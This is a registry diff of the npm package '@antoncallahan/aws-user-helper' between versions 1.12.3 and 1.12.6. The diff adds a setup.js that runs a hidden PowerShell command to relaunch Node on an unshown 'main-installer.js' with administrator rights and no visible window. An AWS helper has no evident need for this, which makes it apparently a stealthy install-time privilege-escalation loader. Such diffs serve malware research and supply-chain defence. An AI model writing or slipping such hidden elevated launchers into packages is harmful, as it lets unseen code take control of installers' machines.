@antoncallahan/aws-user-helper 1.12.3 → 1.12.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/setup.js +16 -22
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -1,26 +1,20 @@
|
|
|
1
|
-
const {
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
2
|
const path = require('path');
|
|
3
3
|
|
|
4
|
+
const targetScript = path.resolve(__dirname, 'main-installer.js');
|
|
4
5
|
const nodePath = process.execPath;
|
|
5
|
-
const targetScript = path.join(__dirname, 'installer.js');
|
|
6
6
|
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
);
|
|
22
|
-
process.exit(0);
|
|
23
|
-
} catch (err) {
|
|
24
|
-
console.log('Failed to run installer with admin privileges:', err);
|
|
25
|
-
process.exit(1);
|
|
26
|
-
}
|
|
7
|
+
exec(
|
|
8
|
+
`powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath '${nodePath}' -ArgumentList '${targetScript}' -Verb RunAs -WindowStyle Hidden"`,
|
|
9
|
+
{ windowsHide: true },
|
|
10
|
+
(err) => {
|
|
11
|
+
if (err) {
|
|
12
|
+
console.error('Failed to launch installer with admin privileges');
|
|
13
|
+
console.error('Aborting install');
|
|
14
|
+
process.exit(1); // Exit with error code
|
|
15
|
+
} else {
|
|
16
|
+
console.log('Launched installer with admin privileges');
|
|
17
|
+
process.exit(0); // Exit with success code
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
);
|